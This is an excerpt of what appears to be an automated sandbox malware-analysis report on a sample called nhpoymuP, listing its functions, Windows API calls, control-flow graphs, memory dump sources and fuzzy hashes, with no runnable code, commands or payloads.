                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00401940
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3322701435-0
                                                                                                                                                                      • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                      • Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
                                                                                                                                                                      • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                      • Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8
                                                                                                                                                                      Function 32509A80 Relevance: 6.1, APIs: 4, Instructions: 146threadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 726 32509a80-32509b37 GetCurrentProcess 732 32509b40-32509b74 GetCurrentThread 726->732 733 32509b39-32509b3f 726->733 734 32509b76-32509b7c 732->734 735 32509b7d-32509bb1 GetCurrentProcess 732->735 733->732 734->735 736 32509bb3-32509bb9 735->736 737 32509bba-32509bd5 call 3250a070 735->737 736->737 741 32509bdb-32509c0a GetCurrentThreadId 737->741 742 32509c13-32509c75 741->742 743 32509c0c-32509c12 741->743 743->742
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentProcess.KERNEL32 ref: 32509B26
                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 32509B63
                                                                                                                                                                      • GetCurrentProcess.KERNEL32 ref: 32509BA0
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 32509BF9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Current$ProcessThread
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2063062207-0
                                                                                                                                                                      • Opcode ID: d9422974b702daa87f971ffb808c9fcdea793590aad871d219ebce66661d0097
                                                                                                                                                                      • Instruction ID: ec258e5636026accb5675553612588ff617d96218775f620ddd716367617e912
                                                                                                                                                                      • Opcode Fuzzy Hash: d9422974b702daa87f971ffb808c9fcdea793590aad871d219ebce66661d0097
                                                                                                                                                                      • Instruction Fuzzy Hash: 355146B0901349CFDB00DFA9CA44BEEBFF1AF89314F208499D459A7261C7349985CF65
                                                                                                                                                                      Function 32509AA8 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 750 32509aa8-32509b37 GetCurrentProcess 754 32509b40-32509b74 GetCurrentThread 750->754 755 32509b39-32509b3f 750->755 756 32509b76-32509b7c 754->756 757 32509b7d-32509bb1 GetCurrentProcess 754->757 755->754 756->757 758 32509bb3-32509bb9 757->758 759 32509bba-32509bd5 call 3250a070 757->759 758->759 763 32509bdb-32509c0a GetCurrentThreadId 759->763 764 32509c13-32509c75 763->764 765 32509c0c-32509c12 763->765 765->764
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentProcess.KERNEL32 ref: 32509B26
                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 32509B63
                                                                                                                                                                      • GetCurrentProcess.KERNEL32 ref: 32509BA0
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 32509BF9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Current$ProcessThread
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2063062207-0
                                                                                                                                                                      • Opcode ID: 0db81b83619d4da3da2423f39490f89eeac9a53f7cc1af9e22cff03fd171d7de
                                                                                                                                                                      • Instruction ID: ddcb164c0a97f970b62f5c7894aea77642a398f67dfa31e75d76f88d067fe398
                                                                                                                                                                      • Opcode Fuzzy Hash: 0db81b83619d4da3da2423f39490f89eeac9a53f7cc1af9e22cff03fd171d7de
                                                                                                                                                                      • Instruction Fuzzy Hash: 865125B0900309CFDB04DFAACA48BEEBBF1AF88314F20C059D459A7264DB75A941CF65
                                                                                                                                                                      Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                                        • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                                        • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                        • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                                      • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                                                                                                                                                        • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                                                                                                                                                      • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                                                                                                                                                      • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1411284514-0
                                                                                                                                                                      • Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
                                                                                                                                                                      • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                                                                                                                                                      • Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
                                                                                                                                                                      • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                                                                                                                                                      Function 3250BDD0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68threadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 791 3250bdd0-3250be73 GetCurrentThreadId 795 3250be75-3250be7b 791->795 796 3250be7c-3250bebd call 3250b634 791->796 795->796
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 3250BE62
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CurrentThread
                                                                                                                                                                      • String ID: O
                                                                                                                                                                      • API String ID: 2882836952-878818188
                                                                                                                                                                      • Opcode ID: 90b08dca5476b36458cd35e7941dd3c3835cd467e612d483f7832367fa7223a7
                                                                                                                                                                      • Instruction ID: 1873b0c3ce4c6a13665f226f6d7407ecf9ebc80a11bdc99e9eb0efcb7cd610c6
                                                                                                                                                                      • Opcode Fuzzy Hash: 90b08dca5476b36458cd35e7941dd3c3835cd467e612d483f7832367fa7223a7
                                                                                                                                                                      • Instruction Fuzzy Hash: 053124B49002498FCB00DFA9C980A9EFBF0EF49314F14859AD458AB366C774A945CFA5
                                                                                                                                                                      Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ___crtCorExitProcess.LIBCMT ref: 0040E7F6
                                                                                                                                                                        • Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
                                                                                                                                                                        • Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
                                                                                                                                                                        • Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA
                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040E7FF
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ExitProcess$AddressHandleModuleProc___crt
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2427264223-0
                                                                                                                                                                      • Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
                                                                                                                                                                      • Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
                                                                                                                                                                      • Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
                                                                                                                                                                      • Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5
                                                                                                                                                                      Function 3250A0F0 Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3250A1C3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DuplicateHandle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3793708945-0
                                                                                                                                                                      • Opcode ID: e08f51146b6f0dbafb5b2828a2f9a51ba92e10ca6b6847b9aae3c9da5edefca4
                                                                                                                                                                      • Instruction ID: a5afd7dcf6707137fe613139140a3b127bc94bf8212794ab6010fabe5fb030a4
                                                                                                                                                                      • Opcode Fuzzy Hash: e08f51146b6f0dbafb5b2828a2f9a51ba92e10ca6b6847b9aae3c9da5edefca4
                                                                                                                                                                      • Instruction Fuzzy Hash: 7B4177B9D002599FCF00CFA9D984ADEBBF1BB09310F14946AE918BB314D335AA45CF54
                                                                                                                                                                      Function 3250A0F8 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3250A1C3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DuplicateHandle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3793708945-0
                                                                                                                                                                      • Opcode ID: 7f036d63d52954493aa10429f017885dae0963177d7511fae592cf7299eb8ab0
                                                                                                                                                                      • Instruction ID: d01871c0a03b52660a149c47e8f4b2af8d8347d8758d0cd6b40380106d933290
                                                                                                                                                                      • Opcode Fuzzy Hash: 7f036d63d52954493aa10429f017885dae0963177d7511fae592cf7299eb8ab0
                                                                                                                                                                      • Instruction Fuzzy Hash: EC4157B9D002589FCF00CFA9D984ADEBBF5BB09310F14946AE918BB311D735AA45CF54
                                                                                                                                                                      Function 3250871C Relevance: 1.6, APIs: 1, Instructions: 107windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MessageBoxW.USER32(?,?,?,?), ref: 3250C3A9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2030045667-0
                                                                                                                                                                      • Opcode ID: 37c800f140021699197c11735e214612a08513c0acfcf9d7cfd838fe4628d7f5
                                                                                                                                                                      • Instruction ID: df761206b7532573c2b92bf2b7a5d13c30e6e6529c47c3142e271821478ae0d4
                                                                                                                                                                      • Opcode Fuzzy Hash: 37c800f140021699197c11735e214612a08513c0acfcf9d7cfd838fe4628d7f5
                                                                                                                                                                      • Instruction Fuzzy Hash: 234188B8D04258DFCB00CFA9D984ADEFBF1BB49314F14906AE858BB220D775AA45CF54
                                                                                                                                                                      Function 3250C2D0 Relevance: 1.6, APIs: 1, Instructions: 106windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MessageBoxW.USER32(?,?,?,?), ref: 3250C3A9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2030045667-0
                                                                                                                                                                      • Opcode ID: 1a1fd57bc24031fa0ceadb9ef13f41f7b86cba60f3f541256d5ecc9634727aa3
                                                                                                                                                                      • Instruction ID: cd1425e33b54b6707d10e6951f9644a61590065f0f0ca81c85b72dd0db2c3e40
                                                                                                                                                                      • Opcode Fuzzy Hash: 1a1fd57bc24031fa0ceadb9ef13f41f7b86cba60f3f541256d5ecc9634727aa3
                                                                                                                                                                      • Instruction Fuzzy Hash: D0419AB8D00258DFCB00CFA9D984ADDFBF1BB49314F14906AE858BB220D775AA45CF54
                                                                                                                                                                      Function 2F55EE60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualProtect.KERNEL32(?,?,?,?), ref: 2F55EF04
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1984979216.000000002F550000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F550000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f550000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProtectVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 544645111-0
                                                                                                                                                                      • Opcode ID: df1a425f946c7caf0688f257590d3470bb07eaab3dd0c45be641ab788074fa47
                                                                                                                                                                      • Instruction ID: c0ae5e7525cc4de8f9624d12d56bc5075d737baae143c2361f44179f3c6a41ae
                                                                                                                                                                      • Opcode Fuzzy Hash: df1a425f946c7caf0688f257590d3470bb07eaab3dd0c45be641ab788074fa47
                                                                                                                                                                      • Instruction Fuzzy Hash: 013186B9D052589FCB14CFA9D980ADEFBB1AF49310F20942AE818B7210D735A9458F98
                                                                                                                                                                      Function 32508D0F Relevance: 1.6, APIs: 1, Instructions: 90COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetProcessWindowStation.USER32 ref: 32508D7D
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProcessStationWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3348185895-0
                                                                                                                                                                      • Opcode ID: 1aa5c7a52730ba2f08b11ef40ab2a2fa863d73808fd46f9f14e1f6bcbf45cf32
                                                                                                                                                                      • Instruction ID: a58b4d3cc913e0767eb9f0bb0b631198feba1f1dfb0aa727a280b906be89a39c
                                                                                                                                                                      • Opcode Fuzzy Hash: 1aa5c7a52730ba2f08b11ef40ab2a2fa863d73808fd46f9f14e1f6bcbf45cf32
                                                                                                                                                                      • Instruction Fuzzy Hash: 1731E2B1A04348CFDB01DFA5D9447AEBFE4EF8A314F148469C049A7281C7759A86CFA1
                                                                                                                                                                      Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                                      • SysAllocString.OLEAUT32 ref: 00401898
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocString_malloc
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 959018026-0
                                                                                                                                                                      • Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                                      • Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
                                                                                                                                                                      • Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                                      • Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA
                                                                                                                                                                      Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateHeap
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 10892065-0
                                                                                                                                                                      • Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                                      • Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
                                                                                                                                                                      • Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                                      • Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548
                                                                                                                                                                      Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _doexit.LIBCMT ref: 0040EA16
                                                                                                                                                                        • Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
                                                                                                                                                                        • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
                                                                                                                                                                        • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
                                                                                                                                                                        • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
                                                                                                                                                                        • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
                                                                                                                                                                        • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
                                                                                                                                                                        • Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
                                                                                                                                                                        • Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __decode_pointer$__initterm$__lock_doexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1597249276-0
                                                                                                                                                                      • Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
                                                                                                                                                                      • Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
                                                                                                                                                                      • Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
                                                                                                                                                                      • Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189
                                                                                                                                                                      Function 2F55F130 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1984979216.000000002F550000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F550000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f550000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseHandle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2962429428-0
                                                                                                                                                                      • Opcode ID: dc8a24d034ad5431fdc5bf45e096fc780db9dc3c0af3441c17c867db6a560d76
                                                                                                                                                                      • Instruction ID: d638ea3f9694e33d0d589a701549dadc81284dc5491b1e11cf4f06849d6e8779
                                                                                                                                                                      • Opcode Fuzzy Hash: dc8a24d034ad5431fdc5bf45e096fc780db9dc3c0af3441c17c867db6a560d76
                                                                                                                                                                      • Instruction Fuzzy Hash: 2F3198B5D012589FCF14CFA9D980A9EFBF4EB49310F10942AE814B7210C775A941CFA8
                                                                                                                                                                      Function 2F28D578 Relevance: .1, Instructions: 75COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1983476244.000000002F28D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F28D000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f28d000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 77284b58d3e70cd077cb6cdb3fa72b6f943d1b41f2eacd4849ff8caf862a3a16
                                                                                                                                                                      • Instruction ID: 8cd92e83472eaaed61c7c71ed62f1d193f10466fda43b4d3651d144dcbdebf63
                                                                                                                                                                      • Opcode Fuzzy Hash: 77284b58d3e70cd077cb6cdb3fa72b6f943d1b41f2eacd4849ff8caf862a3a16
                                                                                                                                                                      • Instruction Fuzzy Hash: E921F171904204DFDB05DF14EAC0F06BFA5EF99314F648669D90A0A29AC33AE85AC6B1
                                                                                                                                                                      Function 2F28D573 Relevance: .1, Instructions: 56COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1983476244.000000002F28D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F28D000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f28d000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
                                                                                                                                                                      • Instruction ID: 93482e01bbd4f5bdbb014340da9d72adbbe846676d908f33da01c39f2b110417
                                                                                                                                                                      • Opcode Fuzzy Hash: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
                                                                                                                                                                      • Instruction Fuzzy Hash: A611AF76904284CFCB06CF10D9C4B06BF72FF95314F28C5A9D90A0B256C336E55ACBA1
                                                                                                                                                                      Function 2F28D007 Relevance: .0, Instructions: 47COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1983476244.000000002F28D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F28D000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f28d000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 07b0940dc75513750d50bdec8ca257d9e346ae97f4c13e5a8dd87062d588b827
                                                                                                                                                                      • Instruction ID: c5b32e3e356c574b379a1952daa20c5aadbf78e86b3fa93adce4ed6b43282141
                                                                                                                                                                      • Opcode Fuzzy Hash: 07b0940dc75513750d50bdec8ca257d9e346ae97f4c13e5a8dd87062d588b827
                                                                                                                                                                      • Instruction Fuzzy Hash: 85014C6244D3C09FD7024B258C94752BFB8EF43224F1984DBE9898F1E7C2695C49CB72
                                                                                                                                                                      Function 2F28D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1983476244.000000002F28D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F28D000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
